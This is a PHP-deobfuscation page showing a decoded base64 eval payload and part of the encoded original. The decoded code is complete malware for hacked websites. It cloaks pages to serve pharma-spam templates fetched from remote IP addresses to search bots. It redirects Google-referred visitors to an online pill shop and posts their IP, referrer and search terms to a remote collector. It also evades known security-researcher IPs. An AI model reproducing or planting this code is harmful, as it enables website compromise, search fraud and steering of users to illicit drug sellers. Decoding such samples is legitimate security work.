Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode('CSR3d3dfcm9vdCA9ICJodHRwOi8vMzcuMS4yMDIuMjI4IjsJCQkvLyBNYW5hZ2VyIHBhdG..

Decoded Output download

	$www_root = "http://37.1.202.228";			// Manager path
	// meds
	$shop = "http://94.100.17.136/std/in.cgi?default";
	// med
	//$shop = "http://bestcanadapills.com/?436";
	// pcash
	//$shop = "http://ed-med.drugsfromstock.com/";
	
	$host=$_SERVER['HTTP_HOST'];
	$face = str_replace("www.","",$host);
	$agent=$_SERVER['HTTP_USER_AGENT'];
    $server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
    $server_referer = @$_SERVER['HTTP_REFERER'];
    $server_remote_addr = @$_SERVER['REMOTE_ADDR'];
    $server_request = @$_SERVER['REQUEST_URI'];

	// + diet pills|weight loss
	$keys = "/accutane|acyclovir|albuterol|amoxicillin|amoxil|atomoxetine|atorvastatin|azithromycin|bactrim|celebrex|cialis|cipro|ciprofloxacin|clomid|clomiphene|clopidogrel|deltasone|diflucan|doxycycline|escitalopram|esomeprazole|finasteride|flagyl|fluconazole|furosemide|gabapentin|isotretinoin|kamagra|lamisil|lasix|levitra|lexapro|linezolid|lipitor|lisinopril|metronidazole|montelukast|neurontin|nexium|nolvadex|olanzapine|orlistat|paroxetine|paxil|pentazine|phenergan|plavix|prednisone|propecia|proventil|septra|sertraline|sildenafil|singulair|strattera|tadalafil|tamoxifen|terbinafine|vardenafil|viagra|xenical|zithromax|zoloft|zovirax|zyprexa|zyvox|diet pills|weight loss/i";
	
	$stop_files = "/common.php|wp-stat.php|tx_config.php|mod_joomla.php|1f3870be274f6c49b3e31a0c6728957f/i";
	
	if (preg_match($stop_files, $server_request)) 
		{
			exit();
		}		
	
	$human = "$www_root/_scripts/human.php";
	$generator = "$www_root/_scripts/auto_page.php";
	
	$debug = false;
	if ($server_remote_addr == "108.170.8.174"){$debug = true;}	
	
	$originalurl="http://".$host.$server_request;
	
	if ($debug) 
		{
			echo "originalurl=$originalurl<br>";
			echo "server_user_agent=$server_user_agent<br>";
			echo "server_referer=$server_referer<br>";
			echo "server_host=$host<br>";
			echo "server_remote_addr=$server_remote_addr<br>";
			echo "server_request=$server_request<br>";
			echo "www_root=$www_root<br><br>";
			
			echo "Check CURL extension...";
			if (extension_loaded('curl'))
				{
					echo "<font color=green><b>YES</b></font><br><br>";
				}
				else
				{
					echo "<font color=red><b>NO</b></font><br><br>";
				}	
			echo "originalurl: $originalurl<br>";
		}
	
	$originalpage = curl_murl($originalurl, $data=false, $comment='Try to get original page');
	if ($originalpage=="error")
	{
	$originalpage = file_get_contents($originalurl);
	}
	$originalpageout = $originalpage;	
	
//////////////////////////////////////// Some bad guys :)

	$banip = "/46.4.|109.0.|204.12.|75.125.|173.208.90|173.234.233|173.198.251|59.165.202|64.188.61|70.86.154|174.129.121|178.33.35|188.165.140|190.210.25|203.131.247|209.222.3|209.44.109|27.100.8|64.120.52|68.71.51|69.163.168|77.223.133|91.210.104|93.113.37|77.247.181|89.248.174|137.56.163|75.52.|50.16.124|31.214.235|63.131.|75.119.212|67.212.|176.36.196|74.196.127.|173.236.|184.154.|128.194.|41.190.|194.115.|46.246.|50.22.89.23|108.4.139|212.182.131|110.171.151|188.72.201.190/i";	

	$banagent = "/17:01:41/i";	
	
	$banreferrer = "/start=32/i";	
	
	if (preg_match($banip, $server_remote_addr)) 
		{
			echo $originalpageout; exit();
		}	
		
	if (preg_match($banagent, $server_user_agent)) 
		{
			echo $originalpageout; exit();
		}	

	if (preg_match($banreferrer, $server_referer)) 
		{
			echo $originalpageout; exit();
		}
		
	/// TEMP!!!

	if (eregi ("@", $server_referer))
		{
			echo $originalpageout; exit();
		}

	if ($server_user_agent=='Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)')
		{
			echo $originalpageout; exit();
		}


	if ($server_user_agent=='Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)')
		{
			echo $originalpageout; exit();
		}		
		
	if ($server_user_agent=='Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)')

		{
			echo $originalpageout; exit();
		}

	if ($server_user_agent=='Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
		{
			echo $originalpageout; exit();
		}	

	if ($server_user_agent=='Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54 [en]')
		{
			echo $originalpageout; exit();
		}		
				
		
////////////////////////////////////////
				
	$is_human = @detectBot($server_user_agent,$server_remote_addr);

if (@$is_human==false) 
					{
								if (($server_request=="") || ($server_request=="/"))
									{
										$filename = "index";	
									}
									else
									{
										$filename = str_replace("_","",$server_request);
										$filename = str_replace("_","",$filename);
										$filename = str_replace(" ","",$filename);
										$filename = str_replace("%","",$filename);
										$filename = str_replace("|","",$filename);
										$filename = str_replace("/","",$filename);
										$filename = str_replace(";","",$filename);
										$filename = str_replace("+","",$filename);
										$filename = str_replace("?","",$filename);
										$filename = str_replace(".","",$filename);
										$filename = str_replace("=","",$filename);
										$filename = str_replace("&","",$filename);
									}
									
								$remote_url = "$www_root/pages/$face/$filename.php";
				
								// GET TPL
								if (is_file ("coockies/$filename.php"))
									{
										if ($debug){echo "Read cache file from coockies/$filename.php";} 										
										$remote_tpl =  base64_decode(file_get_contents("coockies/$filename.php"));
										
										// Remove cached links
										$matches = array();
										$pattern = '/<\/p><br>(?P<category>.*)lXHAxowfhL/Us';
										preg_match_all($pattern, $remote_tpl, $matches);
										$code = $matches['category'];
										$remote_tpl = str_replace ($code, "|", $remote_tpl);
										
										// Insert dynamic links
										$linkslist_int = curl_murl("$www_root/pages/$face/links.txt", $data=false, $comment='Try to get intlinklist');
										if ($debug){echo "Read linklist file from $www_root/pages/$face/links.txt";}
										$linkslist_int_array = explode ("
", $linkslist_int);
										$linkslist_int_array_num = count($linkslist_int_array);
										$linkslist_int = "";
										shuffle ($linkslist_int_array);
										for ($i=0;$i<20;$i++) 
										{
											$linkslist_int = $linkslist_int.$linkslist_int_array[$i];
								        }
										$linkslist_ext = curl_murl("$www_root/pages/$face/doors.txt", $data=false, $comment='Try to get ext linklist');
										if ($debug){echo "Read linklist file from $www_root/pages/$face/doors.txt";}

										$remote_tpl = str_replace ("|lXHAxowfhL", "$linkslist_int<br>$linkslist_ext|lXHAxowfhL", $remote_tpl);
										echo clockpage($remote_tpl,$originalpage)."<!-- New GEN HTML 3.51.228 -->";
										exit();
									}
								
								// no cache
								$remote_tpl = curl_murl($remote_url, $data=false, $comment='Try to get tamplate');
								$remote_tpl_enc = base64_encode ($remote_tpl);
								
								if ($debug){echo "<br>I'm GOOLE BOT :)<br>remote_tpl=/pages/$face/$filename.php<br>";}
								
								// no TPL
								if ($remote_tpl=="error")
									{
										if (($server_request=="") || ($server_request=="/"))
											{
												$originalurl = "http://$host/index";	
											}
										$data = array(
											'remote_url' => $originalurl, 
											'useragent' => $server_user_agent
										);
							
										// Generate new TPL
										if ($debug)
											{
												echo curl_murl($generator,$data, $comment='Try to generate new template');
											}
											else
											{
												curl_murl($generator,$data,$comment='Try to generate new template');
											}
										
										////////////// GET TPL
										$remote_tpl = curl_murl($remote_url, $data=false, $comment='Try to get template again');
										$remote_tpl_enc = base64_encode ($remote_tpl);
											if ($remote_tpl=="error")
												{
													// Something wrong
													echo $originalpageout."<!-- NEED HTML 3.51.228 -->";
													exit();													
												}
												else
												{
													// New TPL generated successfully
													if (eregi("3918736",$remote_tpl))
														{
															$clock = $remote_tpl;
														}
														else
														{
															$clock = clockpage($remote_tpl,$originalpage);
														}
													//$clock = clockpage($remote_tpl,$originalpage);
													print $clock."<!-- New GEN HTML 3.51.228 -->";
													
													if ($debug)
														{
															echo "Save cache file at coockies/$filename.php";
														} 
					
													if (!is_dir("coockies"))
														{
															@mkdir ("coockies", 0755);
														}
															$fp = fopen("coockies/$filename.php", "w"); 
															fputs($fp,$remote_tpl_enc);
															fclose($fp);	
																											
													exit();													
												}
									}
									else
									{
										if ($debug)
											{echo "Save cache file at coockies/$filename.php";} 
		
										if (!is_dir("coockies"))
											{@mkdir ("coockies", 0755);}
											
										$fp = fopen("coockies/$filename.php", "w"); 
										fputs($fp,$remote_tpl_enc);
										fclose($fp);
																						
										// Old
										if (preg_match('/<div|div>/i', $remote_tpl))
											{
												echo $remote_tpl."<!-- Old HTML 3.51.228 -->";
												exit();
											}
										// New style
										if (preg_match('/lXHAxowfhL/i', $remote_tpl))
											{	
												$clock = clockpage($remote_tpl,$originalpage);													
												print $clock."<!-- New HTML 3.51.228 -->";
												exit();
											}
									}
					}
					else
					{
					// short referrer from SE. Redirect anyway
					if ((strlen($server_referer) < 30) AND (preg_match('/google/i', $server_referer)))
						{
							$location = $shop;
							header("Location: ".$location);
							exit;							
						}

					// Keywords in referrer
					//if (preg_match($keys, $server_referer)) 
					if (preg_match("/google/i", $server_referer)) 
						{
							$key = $server_referer;
							$sese="unknown";
							if (preg_match("/yahoo/i", $server_referer))
								{
									$keyss = explode ("p=", $server_referer);
									$keyss = explode ("&", $keyss[1]);
									$key = $keyss[0];		
									$sese="yahoo";
								}
							if (preg_match("/google/i", $server_referer))
								{
									$keyss = explode ("q=", $server_referer);
									$keyss = explode ("&", $keyss[1]);
									$key = $keyss[0];
									$sese="google";	
								}	
								
								$key = str_replace("+"," ",$key);
								$key = str_replace("%20"," ",$key);
								$key = str_replace("%22","",$key);
								$key = str_replace("%27","'",$key);
								$key = str_replace("%28","",$key);
								$key = str_replace("%29","",$key);
								$key = str_replace("%3A",":",$key);	
								$key = str_replace("%3F","",$key);
								$key = str_replace("%2F","/",$key);
								$key = str_replace("%2C","",$key);	
								$key = str_replace("%2B","",$key);
								$key = str_replace("%26","",$key);
								$key = str_replace("%3B","",$key);	

								$string = str_replace (" ", "+", $key);
								if ((!preg_match($keys, $string)) AND (strlen($string)>2))
									{
									echo $keys;
									echo $originalpageout;
									exit();
									}								
	
								$data = array(
								'domain' => $face, 
								'uri' => $server_request,
								'se' => $sese,
								'referrer' => $server_referer,
								'agent' => $agent,
								'server_remote_addr' => $server_remote_addr,
								'keys' => $key
								);
	
								curl_murl($human,$data);
								
								$location = $shop;
								header("Location: ".$location);
								exit;
							}

					}
					
					echo $originalpageout;
					exit;					
					
function detectBot($server_user_agent,$server_remote_addr){
    
	$is_human = true;
	
	$stop_ips_masks = array(
		"/^8\.6\.4[8-9]\.[0-9]+$/",				// NetRange:	8.6.48.0 - 8.6.55.255			Google Inc
		"/^8\.6\.5[0-5]\.[0-9]+$/",				// NetRange:	8.6.48.0 - 8.6.55.255			Google Inc
		"/^64\.233\.1[6-8][0-9]\.[0-9]+$/",		// NetRange:	64.233.160.0 - 64.233.191.255	Google Inc
		"/^64\.233\.19[0-1]\.[0-9]+$/",			// NetRange:	64.233.160.0 - 64.233.191.255	Google Inc
		"/^64\.68\.8[0-7]\.[0-9]+$/",			// NetRange:	64.68.80.0 - 64.68.87.255		Google Inc
		"/^66\.249\.6[4-9]\.[0-9]+$/",			// NetRange:	66.249.64.0 - 66.249.95.255		Google Inc
		"/^66\.249\.[7-8][0-9]\.[0-9]+$/",		// NetRange:	66.249.64.0 - 66.249.95.255		Google Inc
		"/^66\.249\.9[0-5]\.[0-9]+$/",			// NetRange:	66.249.64.0 - 66.249.95.255		Google Inc
        "/^72\.14\.19[2-9]\.[0-9]+$/",			// NetRange:	72.14.192.0 - 72.14.255.255		Google Inc
        "/^72\.14\.2[0-5][0-9]\.[0-9]+$/",		// NetRange:	72.14.192.0 - 72.14.255.255		Google Inc
        "/^74\.125\.[0-9]+\.[0-9]+$/",			// NetRange:	74.125.0.0 - 74.125.255.255		Google Inc
		"/^74\.6\.[0-9]+\.[0-9]+$/",			// NetRange:	74.6.0.0 - 74.6.255.255			Google Inc
		"/^216\.239\.3[2-9]\.[0-9]+$/",			// NetRange:	216.239.32.0 - 216.239.63.255	Google Inc
		"/^216\.239\.4[0-9]\.[0-9]+$/",			// NetRange:	216.239.32.0 - 216.239.63.255	Google Inc
		"/^216\.239\.6[0-3]\.[0-9]+$/",			// NetRange:	216.239.32.0 - 216.239.63.255	Google Inc
		"/^209\.85\.12[8-9]\.[0-9]+$/",			// NetRange:	209.85.128.0 - 209.85.255.255	Google Inc
		"/^209\.85\.1[3-9][0-9]\.[0-9]+$/",		// NetRange:	209.85.128.0 - 209.85.255.255	Google Inc
		"/^209\.85\.2[0-5][0-9]\.[0-9]+$/",		// NetRange:	209.85.128.0 - 209.85.255.255	Google Inc
		"/^64\.9\.22[4-9]\.[0-9]+$/",			// NetRange:	64.9.224.0 - 64.9.255.255		Google Inc
		"/^64\.9\.2[3-4][0-9]\.[0-9]+$/",		// NetRange:	64.9.224.0 - 64.9.255.255		Google Inc
		"/^64\.9\.25[0-5]\.[0-9]+$/",			// NetRange:	64.9.224.0 - 64.9.255.255		Google Inc
		"/^66\.102\.[0-9]\.[0-9]+$/",			// NetRange:	66.102.0.0 - 66.102.15.255		Google Inc
		"/^66\.102\.1[0-5]\.[0-9]+$/",			// NetRange:	66.102.0.0 - 66.102.15.255		Google Inc		
		"/^137\.110\.[0-9]+\.[0-9]+$/",			// NetRange:	137.110.222.*					Google bot
		"/^209\.190\.20\.[0-9]+$/",
		"/^46\.37\.184\.[0-9]+$/",
		"/^95\.211\.129\.[0-9]+$/",
		"/^95\.211\.128\.[0-9]+$/",		
		"/^108\.170\.8\.[0-9]+$/"		
    );

	$stop_ips_masks_count = count ($stop_ips_masks);
	
	for($w=0; $w<$stop_ips_masks_count; $w++)
		{
			if(preg_match($stop_ips_masks[$w], $server_remote_addr))
				{
    	    		$is_human = false;  break;
	    	    }
		} 
		
	$stop_agents_masks = "/google|yahoo/i";
	if (preg_match($stop_agents_masks, $server_user_agent)) 
		{
			$is_human = false;
		}

    return $is_human;
}

					function curl_murl($url,$data=false, $comment='')
						{
							global $debug, $host, $server_user_agent;
						
							$ch = curl_init();
							curl_setopt($ch, CURLOPT_URL, $url);
							curl_setopt($ch, CURLOPT_HEADER, 0);
							curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
							curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
							curl_setopt($ch, CURLOPT_TIMEOUT,        15);
							curl_setopt($ch, CURLOPT_REFERER,        "http://$host/");
	        				curl_setopt($ch, CURLOPT_USERAGENT,      "Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1");
					        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
							curl_setopt($ch, CURLOPT_COOKIE,         true);
							curl_setopt($ch, CURLOPT_COOKIEJAR,      "coockies.txt");
							curl_setopt($ch, CURLOPT_COOKIEFILE,     "coockies.txt");							
							
							if ($data)
								{
									//print_r ($data);
									curl_setopt($ch, CURLOPT_POST, 1);
									curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
								}
							
							$html = curl_exec($ch);
							$info = curl_getinfo($ch);
							//return $html;
							if ($debug) {echo "<br>($comment) <b>status</b>:".$info['http_code']."<br>";}
  							if ($info['http_code'] == "200"){return $html;}else{return "error";}
						}
						
								function clockpage($remote_tpl,$originalpage)
									{
												$originalpage = str_replace ("<title >", "<title>", $originalpage);

												$remote_tpl = explode ("|", $remote_tpl);
												$title = $remote_tpl[0];
												$description = $remote_tpl[1];
												$keywords = $remote_tpl[2];
												$body = $remote_tpl[3];

												$matches = array();
												$pattern = '/<tItLe>(?P<category>.*)<\/title>/Usi';
												preg_match_all($pattern, $originalpage, $matches);
												$category = $matches['category'];
												$originalpage = str_replace ($category[0], $title, $originalpage);

												$matches = array();
												$pattern = '/<META name="description" content="(?P<category>.*)"/Usi';
												preg_match_all($pattern, $originalpage, $matches);
												$category = $matches['category'];
												$originalpage = str_replace ($category[0], $description, $originalpage);
															
												$matches = array();
												$pattern = '/<META name="keywords" content="(?P<category>.*)"/Usi';
												preg_match_all($pattern, $originalpage, $matches);
												$category = $matches['category'];
												$originalpage = str_replace ($category[0], $keywords, $originalpage);
															
												if (!preg_match('/keywords/i', $originalpage))
														{
															$originalpage = str_replace ("</title>", "</title>"."
"."<META name='keywords' content='$keywords'>", $originalpage);
														}
												if (!preg_match('/description/i', $originalpage))
														{
															$originalpage = str_replace ("</title>", "</title>"."
"."<META name='description' content='$description'>", $originalpage);
														}
															
												if (preg_match('/<body.*?>/i',$originalpage)) 
														{
														$originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage);
														$originalpage=preg_replace('/(<body.*?>)/i', "<body>$body", $originalpage, 1);												
														}
												return $originalpage;

									}

Did this file decode correctly?

Original Code

eval(base64_decode('CSR3d3dfcm9vdCA9ICJodHRwOi8vMzcuMS4yMDIuMjI4IjsJCQkvLyBNYW5hZ2VyIHBhdGgNCgkvLyBtZWRzDQoJJHNob3AgPSAiaHR0cDovLzk0LjEwMC4xNy4xMzYvc3RkL2luLmNnaT9kZWZhdWx0IjsNCgkvLyBtZWQNCgkvLyRzaG9wID0gImh0dHA6Ly9iZXN0Y2FuYWRhcGlsbHMuY29tLz80MzYiOw0KCS8vIHBjYXNoDQoJLy8kc2hvcCA9ICJodHRwOi8vZWQtbWVkLmRydWdzZnJvbXN0b2NrLmNvbS8iOw0KCQ0KCSRob3N0PSRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCgkkZmFjZSA9IHN0cl9yZXBsYWNlKCJ3d3cuIiwiIiwkaG9zdCk7DQoJJGFnZW50PSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiAgICAkc2VydmVyX3VzZXJfYWdlbnQgPSBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KICAgICRzZXJ2ZXJfcmVmZXJlciA9IEAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQogICAgJHNlcnZlcl9yZW1vdGVfYWRkciA9IEAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCiAgICAkc2VydmVyX3JlcXVlc3QgPSBAJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQoNCgkvLyArIGRpZXQgcGlsbHN8d2VpZ2h0IGxvc3MNCgkka2V5cyA9ICIvYWNjdXRhbmV8YWN5Y2xvdmlyfGFsYnV0ZXJvbHxhbW94aWNpbGxpbnxhbW94aWx8YXRvbW94ZXRpbmV8YXRvcnZhc3RhdGlufGF6aXRocm9teWNpbnxiYWN0cmltfGNlbGVicmV4fGNpYWxpc3xjaXByb3xjaXByb2Zsb3hhY2lufGNsb21pZHxjbG9taXBoZW5lfGNsb3BpZG9ncmVsfGRlbHRhc29uZXxkaWZsdWNhbnxkb3h5Y3ljbGluZXxlc2NpdGFsb3ByYW18ZXNvbWVwcmF6b2xlfGZpbmFzdGVyaWRlfGZsYWd5bHxmbHVjb25hem9sZXxmdXJvc2VtaWRlfGdhYmFwZW50aW58aXNvdHJldGlub2lufGthbWFncmF8bGFtaXNpbHxsYXNpeHxsZXZpdHJhfGxleGFwcm98bGluZXpvbGlkfGxpcGl0b3J8bGlzaW5vcHJpbHxtZXRyb25pZGF6b2xlfG1vbnRlbHVrYXN0fG5ldXJvbnRpbnxuZXhpdW18bm9sdmFkZXh8b2xhbnphcGluZXxvcmxpc3RhdHxwYXJveGV0aW5lfHBheGlsfHBlbnRhemluZXxwaGVuZXJnYW58cGxhdml4fHByZWRuaXNvbmV8cHJvcGVjaWF8cHJvdmVudGlsfHNlcHRyYXxzZXJ0cmFsaW5lfHNpbGRlbmFmaWx8c2luZ3VsYWlyfHN0cmF0dGVyYXx0YWRhbGFmaWx8dGFtb3hpZmVufHRlcmJpbmFmaW5lfHZhcmRlbmFmaWx8dmlhZ3JhfHhlbmljYWx8eml0aHJvbWF4fHpvbG9mdHx6b3ZpcmF4fHp5cHJleGF8enl2b3h8ZGlldCBwaWxsc3x3ZWlnaHQgbG9zcy9pIjsNCgkNCgkkc3RvcF9maWxlcyA9ICIvY29tbW9uLnBocHx3cC1zdGF0LnBocHx0eF9jb25maWcucGhwfG1vZF9qb29tbGEucGhwfDFmMzg3MGJlMjc0ZjZjNDliM2UzMWEwYzY3Mjg5NTdmL2kiOw0KCQ0KCWlmIChwcmVnX21hdGNoKCRzdG9wX2ZpbGVzLCAkc2VydmVyX3JlcXVlc3QpKSANCgkJew0KCQkJZXhpdCgpOw0KCQl9CQkNCgkNCgkkaHVtYW4gPSAiJHd3d19yb290L19zY3JpcHRzL2h1bWFuLnBocCI7DQoJJGdlbmVyYXRvciA9ICIkd3d3X3Jvb3QvX3NjcmlwdHMvYXV0b19wYWdlLnBocCI7DQoJDQoJJGRlYnVnID0gZmFsc2U7DQoJaWYgKCRzZXJ2ZXJfcmVtb3RlX2FkZHIgPT0gIjEwOC4xNzAuOC4xNzQiKXskZGVidWcgPSB0cnVlO30JDQoJDQoJJG9yaWdpbmFsdXJsPSJodHRwOi8vIi4kaG9zdC4kc2VydmVyX3JlcXVlc3Q7DQoJDQoJaWYgKCRkZWJ1ZykgDQoJCXsNCgkJCWVjaG8gIm9yaWdpbmFsdXJsPSRvcmlnaW5hbHVybDxicj4iOw0KCQkJZWNobyAic2VydmVyX3VzZXJfYWdlbnQ9JHNlcnZlcl91c2VyX2FnZW50PGJyPiI7DQoJCQllY2hvICJzZXJ2ZXJfcmVmZXJlcj0kc2VydmVyX3JlZmVyZXI8YnI+IjsNCgkJCWVjaG8gInNlcnZlcl9ob3N0PSRob3N0PGJyPiI7DQoJCQllY2hvICJzZXJ2ZXJfcmVtb3RlX2FkZHI9JHNlcnZlcl9yZW1vdGVfYWRkcjxicj4iOw0KCQkJZWNobyAic2VydmVyX3JlcXVlc3Q9JHNlcnZlcl9yZXF1ZXN0PGJyPiI7DQoJCQllY2hvICJ3d3dfcm9vdD0kd3d3X3Jvb3Q8YnI+PGJyPiI7DQoJCQkNCgkJCWVjaG8gIkNoZWNrIENVUkwgZXh0ZW5zaW9uLi4uIjsNCgkJCWlmIChleHRlbnNpb25fbG9hZGVkKCdjdXJsJykpDQoJCQkJew0KCQkJCQllY2hvICI8Zm9udCBjb2xvcj1ncmVlbj48Yj5ZRVM8L2I+PC9mb250Pjxicj48YnI+IjsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPjxiPk5PPC9iPjwvZm9udD48YnI+PGJyPiI7DQoJCQkJfQkNCgkJCWVjaG8gIm9yaWdpbmFsdXJsOiAkb3JpZ2luYWx1cmw8YnI+IjsNCgkJfQ0KCQ0KCSRvcmlnaW5hbHBhZ2UgPSBjdXJsX211cmwoJG9yaWdpbmFsdXJsLCAkZGF0YT1mYWxzZSwgJGNvbW1lbnQ9J1RyeSB0byBnZXQgb3JpZ2luYWwgcGFnZScpOw0KCWlmICgkb3JpZ2luYWxwYWdlPT0iZXJyb3IiKQ0KCXsNCgkkb3JpZ2luYWxwYWdlID0gZmlsZV9nZXRfY29udGVudHMoJG9yaWdpbmFsdXJsKTsNCgl9DQoJJG9yaWdpbmFscGFnZW91dCA9ICRvcmlnaW5hbHBhZ2U7CQ0KCQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLyBTb21lIGJhZCBndXlzIDopDQoNCgkkYmFuaXAgPSAiLzQ2LjQufDEwOS4wLnwyMDQuMTIufDc1LjEyNS58MTczLjIwOC45MHwxNzMuMjM0LjIzM3wxNzMuMTk4LjI1MXw1OS4xNjUuMjAyfDY0LjE4OC42MXw3MC44Ni4xNTR8MTc0LjEyOS4xMjF8MTc4LjMzLjM1fDE4OC4xNjUuMTQwfDE5MC4yMTAuMjV8MjAzLjEzMS4yNDd8MjA5LjIyMi4zfDIwOS40NC4xMDl8MjcuMTAwLjh8NjQuMTIwLjUyfDY4LjcxLjUxfDY5LjE2My4xNjh8NzcuMjIzLjEzM3w5MS4yMTAuMTA0fDkzLjExMy4zN3w3Ny4yNDcuMTgxfDg5LjI0OC4xNzR8MTM3LjU2LjE2M3w3NS41Mi58NTAuMTYuMTI0fDMxLjIxNC4yMzV8NjMuMTMxLnw3NS4xMTkuMjEyfDY3LjIxMi58MTc2LjM2LjE5Nnw3NC4xOTYuMTI3LnwxNzMuMjM2LnwxODQuMTU0LnwxMjguMTk0Lnw0MS4xOTAufDE5NC4xMTUufDQ2LjI0Ni58NTAuMjIuODkuMjN8MTA4LjQuMTM5fDIxMi4xODIuMTMxfDExMC4xNzEuMTUxfDE4OC43Mi4yMDEuMTkwL2kiOwkNCg0KCSRiYW5hZ2VudCA9ICIvMTc6MDE6NDEvaSI7CQ0KCQ0KCSRiYW5yZWZlcnJlciA9ICIvc3RhcnQ9MzIvaSI7CQ0KCQ0KCWlmIChwcmVnX21hdGNoKCRiYW5pcCwgJHNlcnZlcl9yZW1vdGVfYWRkcikpIA0KCQl7DQoJCQllY2hvICRvcmlnaW5hbHBhZ2VvdXQ7IGV4aXQoKTsNCgkJfQkNCgkJDQoJaWYgKHByZWdfbWF0Y2goJGJhbmFnZW50LCAkc2VydmVyX3VzZXJfYWdlbnQpKSANCgkJew0KCQkJZWNobyAkb3JpZ2luYWxwYWdlb3V0OyBleGl0KCk7DQoJCX0JDQoNCglpZiAocHJlZ19tYXRjaCgkYmFucmVmZXJyZXIsICRzZXJ2ZXJfcmVmZXJlcikpIA0KCQl7DQoJCQllY2hvICRvcmlnaW5hbHBhZ2VvdXQ7IGV4aXQoKTsNCgkJfQ0KCQkNCgkvLy8gVEVNUCEhIQ0KDQoJaWYgKGVyZWdpICgiQCIsICRzZXJ2ZXJfcmVmZXJlcikpDQoJCXsNCgkJCWVjaG8gJG9yaWdpbmFscGFnZW91dDsgZXhpdCgpOw0KCQl9DQoNCglpZiAoJHNlcnZlcl91c2VyX2FnZW50PT0nTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNy4wOyBXaW5kb3dzIE5UIDYuMCknKQ0KCQl7DQoJCQllY2hvICRvcmlnaW5hbHBhZ2VvdXQ7IGV4aXQoKTsNCgkJfQ0KDQoNCglpZiAoJHNlcnZlcl91c2VyX2FnZW50PT0nTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IE1TSUUgOC4wOyBXaW5kb3dzIE5UIDUuMjsgVHJpZGVudC80LjA7IE1lZGlhIENlbnRlciBQQyA0LjA7IFNMQ0MxOyAuTkVUIENMUiAzLjAuMDQzMjApJykNCgkJew0KCQkJZWNobyAkb3JpZ2luYWxwYWdlb3V0OyBleGl0KCk7DQoJCX0JCQ0KCQkNCglpZiAoJHNlcnZlcl91c2VyX2FnZW50PT0nTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMjsgU1YxOyAuTkVUIENMUiAxLjEuNDMyMiknKQ0KDQoJCXsNCgkJCWVjaG8gJG9yaWdpbmFscGFnZW91dDsgZXhpdCgpOw0KCQl9DQoNCglpZiAoJHNlcnZlcl91c2VyX2FnZW50PT0nTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgLk5FVCBDTFIgMS4xLjQzMjIpJykNCgkJew0KCQkJZWNobyAkb3JpZ2luYWxwYWdlb3V0OyBleGl0KCk7DQoJCX0JDQoNCglpZiAoJHNlcnZlcl91c2VyX2FnZW50PT0nTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMSkgT3BlcmEgNy41NCBbZW5dJykNCgkJew0KCQkJZWNobyAkb3JpZ2luYWxwYWdlb3V0OyBleGl0KCk7DQoJCX0JCQ0KCQkJCQ0KCQkNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCgkJCQkNCgkkaXNfaHVtYW4gPSBAZGV0ZWN0Qm90KCRzZXJ2ZXJfdXNlcl9hZ2VudCwkc2VydmVyX3JlbW90ZV9hZGRyKTsNCg0KaWYgKEAkaXNfaHVtYW49PWZhbHNlKSANCgkJCQkJew0KCQkJCQkJCQlpZiAoKCRzZXJ2ZXJfcmVxdWVzdD09IiIpIHx8ICgkc2VydmVyX3JlcXVlc3Q9PSIvIikpDQoJCQkJCQkJCQl7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gImluZGV4IjsJDQoJCQkJCQkJCQl9DQoJCQkJCQkJCQllbHNlDQoJCQkJCQkJCQl7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoIl8iLCIiLCRzZXJ2ZXJfcmVxdWVzdCk7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoIl8iLCIiLCRmaWxlbmFtZSk7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRmaWxlbmFtZSk7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoIiUiLCIiLCRmaWxlbmFtZSk7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoInwiLCIiLCRmaWxlbmFtZSk7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoIi8iLCIiLCRmaWxlbmFtZSk7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoIjsiLCIiLCRmaWxlbmFtZSk7DQoJCQkJCQkJCQkJJGZpbGVuYW1lID0gc3RyX3JlcGxhY2UoIisiLCI